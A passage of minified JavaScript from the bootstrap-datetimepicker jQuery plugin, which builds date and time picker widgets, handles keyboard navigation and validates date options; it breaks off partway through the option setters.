!function(n){"use strict";if("function"==typeof define&&define.amd)define(["jquery","moment"],n);else if("object"==typeof exports)module.exports=n(require("jquery"),require("moment"));else{if("undefined"==typeof jQuery)throw"bootstrap-datetimepicker requires jQuery to be loaded first";if("undefined"==typeof moment)throw"bootstrap-datetimepicker requires Moment.js to be loaded first";n(jQuery,moment)}}(function(n,t){"use strict";if(!t)throw new Error("bootstrap-datetimepicker requires Moment.js to be loaded first");var i=function(i,r){var e,o,s,k,y,rt,b,u={},d=!0,l=!1,f=!1,nt=0,ot=[{clsName:"days",navFnc:"M",navStep:1},{clsName:"months",navFnc:"y",navStep:1},{clsName:"years",navFnc:"y",navStep:10},{clsName:"decades",navFnc:"y",navStep:100}],vt=["days","months","years","decades"],bt=["top","bottom","auto"],kt=["left","right","auto"],dt=["default","top","bottom"],gt={up:38,38:"up",down:40,40:"down",left:37,37:"left",right:39,39:"right",tab:9,9:"tab",escape:27,27:"escape",enter:13,13:"enter",pageUp:33,33:"pageUp",pageDown:34,34:"pageDown",shift:16,16:"shift",control:17,17:"control",space:32,32:"space",t:84,84:"t","delete":46,46:"delete"},st={},yt=function(){return void 0!==t.tz&&void 0!==r.timeZone&&null!==r.timeZone&&""!==r.timeZone},g=function(n){var i;return i=void 0===n||null===n?t():t.isDate(n)||t.isMoment(n)?t(n):yt()?t.tz(n,rt,r.useStrict,r.timeZone):t(n,rt,r.useStrict),yt()&&i.tz(r.timeZone),i},p=function(n){if("string"!=typeof n||n.length>1)throw new TypeError("isEnabled expects a single character string parameter");switch(n){case"y":return y.indexOf("Y")!==-1;case"M":return y.indexOf("M")!==-1;case"d":return y.toLowerCase().indexOf("d")!==-1;case"h":case"H":return y.toLowerCase().indexOf("h")!==-1;case"m":return y.indexOf("m")!==-1;case"s":return y.indexOf("s")!==-1;default:return!1}},ht=function(){return p("h")||p("m")||p("s")},ct=function(){return p("y")||p("M")||p("d")},ei=function(){var t=n("<thead>").append(n("<tr>").append(n("<th>").addClass("prev").attr("data-action","previous").append(n("<span>").addClass(r.icons.previous))).append(n("<th>").addClass("picker-switch").attr("data-action","pickerSwitch").attr("colspan",r.calendarWeeks?"6":"5")).append(n("<th>").addClass("next").attr("data-action","next").append(n("<span>").addClass(r.icons.next)))),i=n("<tbody>").append(n("<tr>").append(n("<td>").attr("colspan",r.calendarWeeks?"8":"7")));return[n("<div>").addClass("datepicker-days").append(n("<table>").addClass("table-condensed").append(t).append(n("<tbody>"))),n("<div>").addClass("datepicker-months").append(n("<table>").addClass("table-condensed").append(t.clone()).append(i.clone())),n("<div>").addClass("datepicker-years").append(n("<table>").addClass("table-condensed").append(t.clone()).append(i.clone())),n("<div>").addClass("datepicker-decades").append(n("<table>").addClass("table-condensed").append(t.clone()).append(i.clone()))]},oi=function(){var t=n("<tr>"),i=n("<tr>"),u=n("<tr>");return p("h")&&(t.append(n("<td>").append(n("<a>").attr({href:"#",tabindex:"-1",title:r.tooltips.incrementHour}).addClass("btn").attr("data-action","incrementHours").append(n("<span>").addClass(r.icons.up)))),i.append(n("<td>").append(n("<span>").addClass("timepicker-hour").attr({"data-time-component":"hours",title:r.tooltips.pickHour}).attr("data-action","showHours"))),u.append(n("<td>").append(n("<a>").attr({href:"#",tabindex:"-1",title:r.tooltips.decrementHour}).addClass("btn").attr("data-action","decrementHours").append(n("<span>").addClass(r.icons.down))))),p("m")&&(p("h")&&(t.append(n("<td>").addClass("separator")),i.append(n("<td>").addClass("separator").html(":")),u.append(n("<td>").addClass("separator"))),t.append(n("<td>").append(n("<a>").attr({href:"#",tabindex:"-1",title:r.tooltips.incrementMinute}).addClass("btn").attr("data-action","incrementMinutes").append(n("<span>").addClass(r.icons.up)))),i.append(n("<td>").append(n("<span>").addClass("timepicker-minute").attr({"data-time-component":"minutes",title:r.tooltips.pickMinute}).attr("data-action","showMinutes"))),u.append(n("<td>").append(n("<a>").attr({href:"#",tabindex:"-1",title:r.tooltips.decrementMinute}).addClass("btn").attr("data-action","decrementMinutes").append(n("<span>").addClass(r.icons.down))))),p("s")&&(p("m")&&(t.append(n("<td>").addClass("separator")),i.append(n("<td>").addClass("separator").html(":")),u.append(n("<td>").addClass("separator"))),t.append(n("<td>").append(n("<a>").attr({href:"#",tabindex:"-1",title:r.tooltips.incrementSecond}).addClass("btn").attr("data-action","incrementSeconds").append(n("<span>").addClass(r.icons.up)))),i.append(n("<td>").append(n("<span>").addClass("timepicker-second").attr({"data-time-component":"seconds",title:r.tooltips.pickSecond}).attr("data-action","showSeconds"))),u.append(n("<td>").append(n("<a>").attr({href:"#",tabindex:"-1",title:r.tooltips.decrementSecond}).addClass("btn").attr("data-action","decrementSeconds").append(n("<span>").addClass(r.icons.down))))),k||(t.append(n("<td>").addClass("separator")),i.append(n("<td>").append(n("<button>").addClass("btn btn-primary").attr({"data-action":"togglePeriod",tabindex:"-1",title:r.tooltips.togglePeriod}))),u.append(n("<td>").addClass("separator"))),n("<div>").addClass("timepicker-picker").append(n("<table>").addClass("table-condensed").append([t,i,u]))},si=function(){var i=n("<div>").addClass("timepicker-hours").append(n("<table>").addClass("table-condensed")),r=n("<div>").addClass("timepicker-minutes").append(n("<table>").addClass("table-condensed")),u=n("<div>").addClass("timepicker-seconds").append(n("<table>").addClass("table-condensed")),t=[oi()];return p("h")&&t.push(i),p("m")&&t.push(r),p("s")&&t.push(u),t},hi=function(){var t=[];return r.showTodayButton&&t.push(n("<td>").append(n("<a>").attr({"data-action":"today",title:r.tooltips.today}).append(n("<span>").addClass(r.icons.today)))),!r.sideBySide&&ct()&&ht()&&t.push(n("<td>").append(n("<a>").attr({"data-action":"togglePicker",title:r.tooltips.selectTime}).append(n("<span>").addClass(r.icons.time)))),r.showClear&&t.push(n("<td>").append(n("<a>").attr({"data-action":"clear",title:r.tooltips.clear}).append(n("<span>").addClass(r.icons.clear)))),r.showClose&&t.push(n("<td>").append(n("<a>").attr({"data-action":"close",title:r.tooltips.close}).append(n("<span>").addClass(r.icons.close)))),n("<table>").addClass("table-condensed").append(n("<tbody>").append(n("<tr>").append(t)))},ci=function(){var t=n("<div>").addClass("bootstrap-datetimepicker-widget dropdown-menu"),f=n("<div>").addClass("datepicker").append(ei()),e=n("<div>").addClass("timepicker").append(si()),i=n("<ul>").addClass("list-unstyled"),u=n("<li>").addClass("picker-switch"+(r.collapse?" accordion-toggle":"")).append(hi());return r.inline&&t.removeClass("dropdown-menu"),k&&t.addClass("usetwentyfour"),p("s")&&!k&&t.addClass("wider"),r.sideBySide&&ct()&&ht()?(t.addClass("timepicker-sbs"),"top"===r.toolbarPlacement&&t.append(u),t.append(n("<div>").addClass("row").append(f.addClass("col-md-6")).append(e.addClass("col-md-6"))),"bottom"===r.toolbarPlacement&&t.append(u),t):("top"===r.toolbarPlacement&&i.append(u),ct()&&i.append(n("<li>").addClass(r.collapse&&ht()?"collapse in":"").append(f)),"default"===r.toolbarPlacement&&i.append(u),ht()&&i.append(n("<li>").addClass(r.collapse&&ct()?"collapse":"").append(e)),"bottom"===r.toolbarPlacement&&i.append(u),t.append(i))},li=function(){var t,u={};return t=i.is("input")||r.inline?i.data():i.find("input").data(),t.dateOptions&&t.dateOptions instanceof Object&&(u=n.extend(!0,u,t.dateOptions)),n.each(r,function(n){var i="date"+n.charAt(0).toUpperCase()+n.slice(1);void 0!==t[i]&&(u[n]=t[i])}),u},pt=function(){var t,o=(l||i).position(),s=(l||i).offset(),u=r.widgetPositioning.vertical,e=r.widgetPositioning.horizontal;if(r.widgetParent)t=r.widgetParent.append(f);else if(i.is("input"))t=i.after(f).parent();else{if(r.inline)return void(t=i.append(f));t=i;i.children().first().after(f)}if("auto"===u&&(u=s.top+1.5*f.height()>=n(window).height()+n(window).scrollTop()&&f.height()+i.outerHeight()<s.top?"top":"bottom"),"auto"===e&&(e=t.width()<s.left+f.outerWidth()/2&&s.left+f.outerWidth()>n(window).width()?"right":"left"),"top"===u?f.addClass("top").removeClass("bottom"):f.addClass("bottom").removeClass("top"),"right"===e?f.addClass("pull-right"):f.removeClass("pull-right"),"static"===t.css("position")&&(t=t.parents().filter(function(){return"static"!==n(this).css("position")}).first()),0===t.length)throw new Error("datetimepicker component should be placed within a non-static positioned container");f.css({top:"top"===u?"auto":o.top+i.outerHeight(),bottom:"top"===u?t.outerHeight()-(t===i?0:o.top):"auto",left:"left"===e?t===i?0:o.left:"auto",right:"left"===e?"auto":t.outerWidth()-i.outerWidth()-(t===i?0:o.left)})},it=function(n){"dp.change"===n.type&&(n.date&&n.date.isSame(n.oldDate)||!n.date&&!n.oldDate)||i.trigger(n)},ut=function(n){"y"===n&&(n="YYYY");it({type:"dp.update",change:n,viewDate:o.clone()})},ft=function(n){f&&(n&&(b=Math.max(nt,Math.min(3,b+n))),f.find(".datepicker > div").hide().filter(".datepicker-"+ot[b].clsName).show())},ai=function(){var t=n("<tr>"),i=o.clone().startOf("w").startOf("d");for(r.calendarWeeks===!0&&t.append(n("<th>").addClass("cw").text("#"));i.isBefore(o.clone().endOf("w"));)t.append(n("<th>").addClass("dow").text(i.format("dd"))),i.add(1,"d");f.find(".datepicker-days thead").append(t)},vi=function(n){return r.disabledDates[n.format("YYYY-MM-DD")]===!0},yi=function(n){return r.enabledDates[n.format("YYYY-MM-DD")]===!0},pi=function(n){return r.disabledHours[n.format("H")]===!0},wi=function(n){return r.enabledHours[n.format("H")]===!0},c=function(t,i){if(!t.isValid()||r.disabledDates&&"d"===i&&vi(t)||r.enabledDates&&"d"===i&&!yi(t)||r.minDate&&t.isBefore(r.minDate,i)||r.maxDate&&t.isAfter(r.maxDate,i)||r.daysOfWeekDisabled&&"d"===i&&r.daysOfWeekDisabled.indexOf(t.day())!==-1||r.disabledHours&&("h"===i||"m"===i||"s"===i)&&pi(t)||r.enabledHours&&("h"===i||"m"===i||"s"===i)&&!wi(t))return!1;if(r.disabledTimeIntervals&&("h"===i||"m"===i||"s"===i)){var u=!1;if(n.each(r.disabledTimeIntervals,function(){if(t.isBetween(this[0],this[1]))return u=!0,!1}),u)return!1}return!0},bi=function(){for(var i=[],t=o.clone().startOf("y").startOf("d");t.isSame(o,"y");)i.push(n("<span>").attr("data-action","selectMonth").addClass("month").text(t.format("MMM"))),t.add(1,"M");f.find(".datepicker-months td").empty().append(i)},ki=function(){var i=f.find(".datepicker-months"),t=i.find("th"),u=i.find("tbody").find("span");t.eq(0).find("span").attr("title",r.tooltips.prevYear);t.eq(1).attr("title",r.tooltips.selectYear);t.eq(2).find("span").attr("title",r.tooltips.nextYear);i.find(".disabled").removeClass("disabled");c(o.clone().subtract(1,"y"),"y")||t.eq(0).addClass("disabled");t.eq(1).text(o.year());c(o.clone().add(1,"y"),"y")||t.eq(2).addClass("disabled");u.removeClass("active");e.isSame(o,"y")&&!d&&u.eq(e.month()).addClass("active");u.each(function(t){c(o.clone().month(t),"M")||n(this).addClass("disabled")})},di=function(){var i=f.find(".datepicker-years"),t=i.find("th"),n=o.clone().subtract(5,"y"),u=o.clone().add(6,"y"),s="";for(t.eq(0).find("span").attr("title",r.tooltips.prevDecade),t.eq(1).attr("title",r.tooltips.selectDecade),t.eq(2).find("span").attr("title",r.tooltips.nextDecade),i.find(".disabled").removeClass("disabled"),r.minDate&&r.minDate.isAfter(n,"y")&&t.eq(0).addClass("disabled"),t.eq(1).text(n.year()+"-"+u.year()),r.maxDate&&r.maxDate.isBefore(u,"y")&&t.eq(2).addClass("disabled");!n.isAfter(u,"y");)s+='<span data-action="selectYear" class="year'+(n.isSame(e,"y")&&!d?" active":"")+(c(n,"y")?"":" disabled")+'">'+n.year()+"<\/span>",n.add(1,"y");i.find("td").html(s)},gi=function(){var u,s=f.find(".datepicker-decades"),i=s.find("th"),n=t({y:o.year()-o.year()%100-1}),h=n.clone().add(100,"y"),y=n.clone(),a=!1,v=!1,l="";for(i.eq(0).find("span").attr("title",r.tooltips.prevCentury),i.eq(2).find("span").attr("title",r.tooltips.nextCentury),s.find(".disabled").removeClass("disabled"),(n.isSame(t({y:1900}))||r.minDate&&r.minDate.isAfter(n,"y"))&&i.eq(0).addClass("disabled"),i.eq(1).text(n.year()+"-"+h.year()),(n.isSame(t({y:2e3}))||r.maxDate&&r.maxDate.isBefore(h,"y"))&&i.eq(2).addClass("disabled");!n.isAfter(h,"y");)u=n.year()+12,a=r.minDate&&r.minDate.isAfter(n,"y")&&r.minDate.year()<=u,v=r.maxDate&&r.maxDate.isAfter(n,"y")&&r.maxDate.year()<=u,l+='<span data-action="selectDecade" class="decade'+(e.isAfter(n)&&e.year()<=u?" active":"")+(c(n,"y")||a||v?"":" disabled")+'" data-selection="'+(n.year()+6)+'">'+(n.year()+1)+" - "+(n.year()+12)+"<\/span>",n.add(12,"y");l+="<span><\/span><span><\/span><span><\/span>";s.find("td").html(l);i.eq(1).text(y.year()+1+"-"+n.year())},et=function(){var t,s,h,l=f.find(".datepicker-days"),u=l.find("th"),a=[],i=[];if(ct()){for(u.eq(0).find("span").attr("title",r.tooltips.prevMonth),u.eq(1).attr("title",r.tooltips.selectMonth),u.eq(2).find("span").attr("title",r.tooltips.nextMonth),l.find(".disabled").removeClass("disabled"),u.eq(1).text(o.format(r.dayViewHeaderFormat)),c(o.clone().subtract(1,"M"),"M")||u.eq(0).addClass("disabled"),c(o.clone().add(1,"M"),"M")||u.eq(2).addClass("disabled"),t=o.clone().startOf("M").startOf("w").startOf("d"),h=0;h<42;h++)0===t.weekday()&&(s=n("<tr>"),r.calendarWeeks&&s.append('<td class="cw">'+t.week()+"<\/td>"),a.push(s)),i=["day"],t.isBefore(o,"M")&&i.push("old"),t.isAfter(o,"M")&&i.push("new"),t.isSame(e,"d")&&!d&&i.push("active"),c(t,"d")||i.push("disabled"),t.isSame(g(),"d")&&i.push("today"),0!==t.day()&&6!==t.day()||i.push("weekend"),it({type:"dp.classify",date:t,classNames:i}),s.append('<td data-action="selectDay" data-day="'+t.format("L")+'" class="'+i.join(" ")+'">'+t.date()+"<\/td>"),t.add(1,"d");l.find("tbody").empty().append(a);ki();di();gi()}},nr=function(){var u=f.find(".timepicker-hours table"),t=o.clone().startOf("d"),r=[],i=n("<tr>");for(o.hour()>11&&!k&&t.hour(12);t.isSame(o,"d")&&(k||o.hour()<12&&t.hour()<12||o.hour()>11);)t.hour()%4==0&&(i=n("<tr>"),r.push(i)),i.append('<td data-action="selectHour" class="hour'+(c(t,"h")?"":" disabled")+'">'+t.format(k?"HH":"hh")+"<\/td>"),t.add(1,"h");u.empty().append(r)},tr=function(){for(var s=f.find(".timepicker-minutes table"),t=o.clone().startOf("h"),u=[],i=n("<tr>"),e=1===r.stepping?5:r.stepping;o.isSame(t,"h");)t.minute()%(4*e)==0&&(i=n("<tr>"),u.push(i)),i.append('<td data-action="selectMinute" class="minute'+(c(t,"m")?"":" disabled")+'">'+t.format("mm")+"<\/td>"),t.add(e,"m");s.empty().append(u)},ir=function(){for(var u=f.find(".timepicker-seconds table"),t=o.clone().startOf("m"),r=[],i=n("<tr>");o.isSame(t,"m");)t.second()%20==0&&(i=n("<tr>"),r.push(i)),i.append('<td data-action="selectSecond" class="second'+(c(t,"s")?"":" disabled")+'">'+t.format("ss")+"<\/td>"),t.add(5,"s");u.empty().append(r)},rr=function(){var n,i,t=f.find(".timepicker span[data-time-component]");k||(n=f.find(".timepicker [data-action=togglePeriod]"),i=e.clone().add(e.hours()>=12?-12:12,"h"),n.text(e.format("A")),c(i,"h")?n.removeClass("disabled"):n.addClass("disabled"));t.filter("[data-time-component=hours]").text(e.format(k?"HH":"hh"));t.filter("[data-time-component=minutes]").text(e.format("mm"));t.filter("[data-time-component=seconds]").text(e.format("ss"));nr();tr();ir()},a=function(){f&&(et(),rr())},h=function(n){var t=d?null:e;if(!n)return d=!0,s.val(""),i.data("date",""),it({type:"dp.change",date:!1,oldDate:t}),void a();if(n=n.clone().locale(r.locale),yt()&&n.tz(r.timeZone),1!==r.stepping)for(n.minutes(Math.round(n.minutes()/r.stepping)*r.stepping).seconds(0);r.minDate&&n.isBefore(r.minDate);)n.add(r.stepping,"minutes");c(n)?(e=n,o=e.clone(),s.val(e.format(y)),i.data("date",e.format(y)),d=!1,a(),it({type:"dp.change",date:e.clone(),oldDate:t})):(r.keepInvalid?it({type:"dp.change",date:n,oldDate:t}):s.val(d?"":e.format(y)),it({type:"dp.error",date:n,oldDate:t}))},v=function(){var t=!1;return f?(f.find(".collapse").each(function(){var i=n(this).data("collapse");return!i||!i.transitioning||(t=!0,!1)}),t?u:(l&&l.hasClass("btn")&&l.toggleClass("active"),f.hide(),n(window).off("resize",pt),f.off("click","[data-action]"),f.off("mousedown",!1),f.remove(),f=!1,it({type:"dp.hide",date:e.clone()}),s.blur(),o=e.clone(),u)):u},ni=function(){h(null)},tt=function(n){return void 0===r.parseInputDate?(!t.isMoment(n)||n instanceof Date)&&(n=g(n)):n=r.parseInputDate(n),n},lt={next:function(){var n=ot[b].navFnc;o.add(ot[b].navStep,n);et();ut(n)},previous:function(){var n=ot[b].navFnc;o.subtract(ot[b].navStep,n);et();ut(n)},pickerSwitch:function(){ft(1)},selectMonth:function(t){var i=n(t.target).closest("tbody").find("span").index(n(t.target));o.month(i);b===nt?(h(e.clone().year(o.year()).month(o.month())),r.inline||v()):(ft(-1),et());ut("M")},selectYear:function(t){var i=parseInt(n(t.target).text(),10)||0;o.year(i);b===nt?(h(e.clone().year(o.year())),r.inline||v()):(ft(-1),et());ut("YYYY")},selectDecade:function(t){var i=parseInt(n(t.target).data("selection"),10)||0;o.year(i);b===nt?(h(e.clone().year(o.year())),r.inline||v()):(ft(-1),et());ut("YYYY")},selectDay:function(t){var i=o.clone();n(t.target).is(".old")&&i.subtract(1,"M");n(t.target).is(".new")&&i.add(1,"M");h(i.date(parseInt(n(t.target).text(),10)));ht()||r.keepOpen||r.inline||v()},incrementHours:function(){var n=e.clone().add(1,"h");c(n,"h")&&h(n)},incrementMinutes:function(){var n=e.clone().add(r.stepping,"m");c(n,"m")&&h(n)},incrementSeconds:function(){var n=e.clone().add(1,"s");c(n,"s")&&h(n)},decrementHours:function(){var n=e.clone().subtract(1,"h");c(n,"h")&&h(n)},decrementMinutes:function(){var n=e.clone().subtract(r.stepping,"m");c(n,"m")&&h(n)},decrementSeconds:function(){var n=e.clone().subtract(1,"s");c(n,"s")&&h(n)},togglePeriod:function(){h(e.clone().add(e.hours()>=12?-12:12,"h"))},togglePicker:function(t){var f,u=n(t.target),e=u.closest("ul"),i=e.find(".in"),o=e.find(".collapse:not(.in)");if(i&&i.length){if(f=i.data("collapse"),f&&f.transitioning)return;i.collapse?(i.collapse("hide"),o.collapse("show")):(i.removeClass("in"),o.addClass("in"));u.is("span")?u.toggleClass(r.icons.time+" "+r.icons.date):u.find("span").toggleClass(r.icons.time+" "+r.icons.date)}},showPicker:function(){f.find(".timepicker > div:not(.timepicker-picker)").hide();f.find(".timepicker .timepicker-picker").show()},showHours:function(){f.find(".timepicker .timepicker-picker").hide();f.find(".timepicker .timepicker-hours").show()},showMinutes:function(){f.find(".timepicker .timepicker-picker").hide();f.find(".timepicker .timepicker-minutes").show()},showSeconds:function(){f.find(".timepicker .timepicker-picker").hide();f.find(".timepicker .timepicker-seconds").show()},selectHour:function(t){var i=parseInt(n(t.target).text(),10);k||(e.hours()>=12?12!==i&&(i+=12):12===i&&(i=0));h(e.clone().hours(i));lt.showPicker.call(u)},selectMinute:function(t){h(e.clone().minutes(parseInt(n(t.target).text(),10)));lt.showPicker.call(u)},selectSecond:function(t){h(e.clone().seconds(parseInt(n(t.target).text(),10)));lt.showPicker.call(u)},clear:ni,today:function(){var n=g();c(n,"d")&&h(n)},close:v},ur=function(t){return!n(t.currentTarget).is(".disabled")&&(lt[n(t.currentTarget).data("action")].apply(u,arguments),!1)},w=function(){var t,i={year:function(n){return n.month(0).date(1).hours(0).seconds(0).minutes(0)},month:function(n){return n.date(1).hours(0).seconds(0).minutes(0)},day:function(n){return n.hours(0).seconds(0).minutes(0)},hour:function(n){return n.seconds(0).minutes(0)},minute:function(n){return n.seconds(0)}};return s.prop("disabled")||!r.ignoreReadonly&&s.prop("readonly")||f?u:(void 0!==s.val()&&0!==s.val().trim().length?h(tt(s.val().trim())):d&&r.useCurrent&&(r.inline||s.is("input")&&0===s.val().trim().length)&&(t=g(),"string"==typeof r.useCurrent&&(t=i[r.useCurrent](t)),h(t)),f=ci(),ai(),bi(),f.find(".timepicker-hours").hide(),f.find(".timepicker-minutes").hide(),f.find(".timepicker-seconds").hide(),a(),ft(),n(window).on("resize",pt),f.on("click","[data-action]",ur),f.on("mousedown",!1),l&&l.hasClass("btn")&&l.toggleClass("active"),pt(),f.show(),r.focusOnShow&&!s.is(":focus")&&s.focus(),it({type:"dp.show"}),u)},wt=function(){return f?v():w()},ti=function(n){var t,e,i,o,s=null,c=[],l={},h=n.which,a="p";st[h]=a;for(t in st)st.hasOwnProperty(t)&&st[t]===a&&(c.push(t),parseInt(t,10)!==h&&(l[t]=!0));for(t in r.keyBinds)if(r.keyBinds.hasOwnProperty(t)&&"function"==typeof r.keyBinds[t]&&(i=t.split(" "),i.length===c.length&&gt[h]===i[i.length-1])){for(o=!0,e=i.length-2;e>=0;e--)if(!(gt[i[e]]in l)){o=!1;break}if(o){s=r.keyBinds[t];break}}s&&(s.call(u,f),n.stopPropagation(),n.preventDefault())},ii=function(n){st[n.which]="r";n.stopPropagation();n.preventDefault()},ri=function(t){var i=n(t.target).val().trim(),r=i?tt(i):null;return h(r),t.stopImmediatePropagation(),!1},fr=function(){s.on({change:ri,blur:r.debug?"":v,keydown:ti,keyup:ii,focus:r.allowInputToggle?w:""});i.is("input")?s.on({focus:w}):l&&(l.on("click",wt),l.on("mousedown",!1))},er=function(){s.off({change:ri,blur:blur,keydown:ti,keyup:ii,focus:r.allowInputToggle?v:""});i.is("input")?s.off({focus:w}):l&&(l.off("click",wt),l.off("mousedown",!1))},ui=function(t){var i={};return n.each(t,function(){var n=tt(this);n.isValid()&&(i[n.format("YYYY-MM-DD")]=!0)}),!!Object.keys(i).length&&i},fi=function(t){var i={};return n.each(t,function(){i[this]=!0}),!!Object.keys(i).length&&i},at=function(){var n=r.format||"L LT";y=n.replace(/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,function(n){var t=e.localeData().longDateFormat(n)||n;return t.replace(/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,function(n){return e.localeData().longDateFormat(n)||n})});rt=r.extraFormats?r.extraFormats.slice():[];rt.indexOf(n)<0&&rt.indexOf(y)<0&&rt.push(y);k=y.toLowerCase().indexOf("a")<1&&y.replace(/\[.*?\]/g,"").indexOf("h")<1;p("y")&&(nt=2);p("M")&&(nt=1);p("d")&&(nt=0);b=Math.max(nt,b);d||h(e)};if(u.destroy=function(){v();er();i.removeData("DateTimePicker");i.removeData("date")},u.toggle=wt,u.show=w,u.hide=v,u.disable=function(){return v(),l&&l.hasClass("btn")&&l.addClass("disabled"),s.prop("disabled",!0),u},u.enable=function(){return l&&l.hasClass("btn")&&l.removeClass("disabled"),s.prop("disabled",!1),u},u.ignoreReadonly=function(n){if(0===arguments.length)return r.ignoreReadonly;if("boolean"!=typeof n)throw new TypeError("ignoreReadonly () expects a boolean parameter");return r.ignoreReadonly=n,u},u.options=function(t){if(0===arguments.length)return n.extend(!0,{},r);if(!(t instanceof Object))throw new TypeError("options() options parameter should be an object");return n.extend(!0,r,t),n.each(r,function(n,t){if(void 0===u[n])throw new TypeError("option "+n+" is not recognized!");u[n](t)}),u},u.date=function(n){if(0===arguments.length)return d?null:e.clone();if(!(null===n||"string"==typeof n||t.isMoment(n)||n instanceof Date))throw new TypeError("date() parameter must be one of [null, string, moment or Date]");return h(null===n?null:tt(n)),u},u.format=function(n){if(0===arguments.length)return r.format;if("string"!=typeof n&&("boolean"!=typeof n||n!==!1))throw new TypeError("format() expects a string or boolean:false parameter "+n);return r.format=n,y&&at(),u},u.timeZone=function(n){if(0===arguments.length)return r.timeZone;if("string"!=typeof n)throw new TypeError("newZone() expects a string parameter");return r.timeZone=n,u},u.dayViewHeaderFormat=function(n){if(0===arguments.length)return r.dayViewHeaderFormat;if("string"!=typeof n)throw new TypeError("dayViewHeaderFormat() expects a string parameter");return r.dayViewHeaderFormat=n,u},u.extraFormats=function(n){if(0===arguments.length)return r.extraFormats;if(n!==!1&&!(n instanceof Array))throw new TypeError("extraFormats() expects an array or false parameter");return r.extraFormats=n,rt&&at(),u},u.disabledDates=function(t){if(0===arguments.length)return r.disabledDates?n.extend({},r.disabledDates):r.disabledDates;if(!t)return r.disabledDates=!1,a(),u;if(!(t instanceof Array))throw new TypeError("disabledDates() expects an array parameter");return r.disabledDates=ui(t),r.enabledDates=!1,a(),u},u.enabledDates=function(t){if(0===arguments.length)return r.enabledDates?n.extend({},r.enabledDates):r.enabledDates;if(!t)return r.enabledDates=!1,a(),u;if(!(t instanceof Array))throw new TypeError("enabledDates() expects an array parameter");return r.enabledDates=ui(t),r.disabledDates=!1,a(),u},u.daysOfWeekDisabled=function(n){if(0===arguments.length)return r.daysOfWeekDisabled.splice(0);if("boolean"==typeof n&&!n)return r.daysOfWeekDisabled=!1,a(),u;if(!(n instanceof Array))throw new TypeError("daysOfWeekDisabled() expects an array parameter");if(r.daysOfWeekDisabled=n.reduce(function(n,t){return t=parseInt(t,10),t>6||t<0||isNaN(t)?n:(n.indexOf(t)===-1&&n.push(t),n)},[]).sort(),r.useCurrent&&!r.keepInvalid){for(var t=0;!c(e,"d");){if(e.add(1,"d"),31===t)throw"Tried 31 times to find a valid date";t++}h(e)}return a(),u},u.maxDate=function(n){if(0===arguments.length)return r.maxDate?r.maxDate.clone():r.maxDate;if("boolean"==typeof n&&n===!1)return r.maxDate=!1,a(),u;"string"==typeof n&&("now"!==n&&"moment"!==n||(n=g()));var t=tt(n);if(!t.isValid())throw new TypeError("maxDate() Could not parse date parameter: "+n);if(r.minDate&&t.isBefore(r.minDate))throw new TypeError("maxDate() date parameter is before options.minDate: "+t.format(y));return r.maxDate=t,r.useCurrent&&!r.keepInvalid&&e.isAfter(n)&&h(r.maxDate),o.isAfter(t)&&(o=t.clone().subtract(r.stepping,"m")),a(),u},u.minDate=function(n){if(0===arguments.length)return r.minDate?r.minDate.clone():r.minDate;if("boolean"==typeof n&&n===!1)return r.minDate=!1,a(),u;"string"==typeof n&&("now"!==n&&"moment"!==n||(n=g()));var t=tt(n);if(!t.isValid())throw new TypeError("minDate() Could not parse date parameter: "+n);if(r.maxDate&&t.isAfter(r.maxDate))throw new TypeError("minDate() date parameter is after options.maxDate: "+t.format(y));return r.minDate=t,r.useCurrent&&!r.keepInvalid&&e.isBefore(n)&&h(r.minDate),o.isBefore(t)&&(o=t.clone().add(r.stepping,"m")),a(),u},u.defaultDate=function(n){if(0===arguments.length)return r.defaultDate?r.defaultDate.clone():r.defaultDate;if(!n)return r.defaultDate=!1,u;"string"==typeof n&&(n="now"===n||"moment"===n?g():g(n));var t=tt(n);if(!t.isValid())throw new TypeError("defaultDate() Could not parse date parameter: "+n);if(!c(t))throw new TypeError("defaultDate() date passed is invalid according to component setup validations");return r.defaultDate=t,(r.defaultDate&&r.inline||""===s.val().trim())&&h(r.defaultDate),u},u.locale=function(n){if(0===arguments.length)return r.locale;if(!t.localeData(n))throw new TypeError("locale() locale "+n+" is not loaded from moment locales!");return r.locale=n,e.locale(r.locale),o.locale(r.locale),y&&at(),f&&(v(),w()),u},u.stepping=function(n){return 0===arguments.length?r.stepping:(n=parseInt(n,10),(isNaN(n)||n<1)&&(n=1),r.stepping=n,u)},u.useCurrent=function(n){var t=["year","month","day","hour","minute"];if(0===arguments.length)return r.useCurrent;if("boolean"!=typeof n&&"string"!=typeof n)throw new TypeError("useCurrent() expects a boolean or string parameter");if("string"==typeof n&&t.indexOf(n.toLowerCase())===-1)throw new TypeError("useCurrent() expects a string parameter of "+t.join(", "));return r.useCurrent=n,u},u.collapse=function(n){if(0===arguments.length)return r.collapse;if("boolean"!=typeof n)throw new TypeError("collapse() expects a boolean parameter");return r.collapse===n?u:(r.collapse=n,f&&(v(),w()),u)},u.icons=function(t){if(0===arguments.length)return n.extend({},r.icons);if(!(t instanceof Object))throw new TypeError("icons() expects parameter to be an Object");return n.extend(r.icons,t),f&&(v(),w()),u},u.tooltips=function(t){if(0===arguments.length)return n.extend({},r.tooltips);if(!(t instanceof Object))throw new TypeError("tooltips() expects parameter to be an Object");return n.extend(r.tooltips,t),f&&(v(),w()),u},u.useStrict=function(n){if(0===arguments.length)return r.useStrict;if("boolean"!=typeof n)throw new TypeError("useStrict() expects a boolean parameter");return r.useStrict=n,u},u.sideBySide=function(n){if(0===arguments.length)return r.sideBySide;if("boolean"!=typeof n)throw new TypeError("sideBySide() expects a boolean parameter");return r.sideBySide=n,f&&(v(),w()),u},u.viewMode=function(n){if(0===arguments.length)return r.viewMode;if("string"!=typeof n)throw new TypeError("viewMode() expects a string parameter");if(vt.indexOf(n)===-1)throw new TypeError("viewMode() parameter must be one of ("+vt.join(", ")+") value");return r.viewMode=n,b=Math.max(vt.indexOf(n),nt),ft(),u},u.toolbarPlacement=function(n){if(0===arguments.length)return r.toolbarPlacement;if("string"!=typeof n)throw new TypeError("toolbarPlacement() expects a string parameter");if(dt.indexOf(n)===-1)throw new TypeError("toolbarPlacement() parameter must be one of ("+dt.join(", ")+") value");return r.toolbarPlacement=n,f&&(v(),w()),u},u.widgetPositioning=function(t){if(0===arguments.length)return n.extend({},r.widgetPositioning);if("[object Object]"!=={}.toString.call(t))throw new TypeError("widgetPositioning() expects an object variable");if(t.horizontal){if("string"!=typeof t.horizontal)throw new TypeError("widgetPositioning() horizontal variable must be a 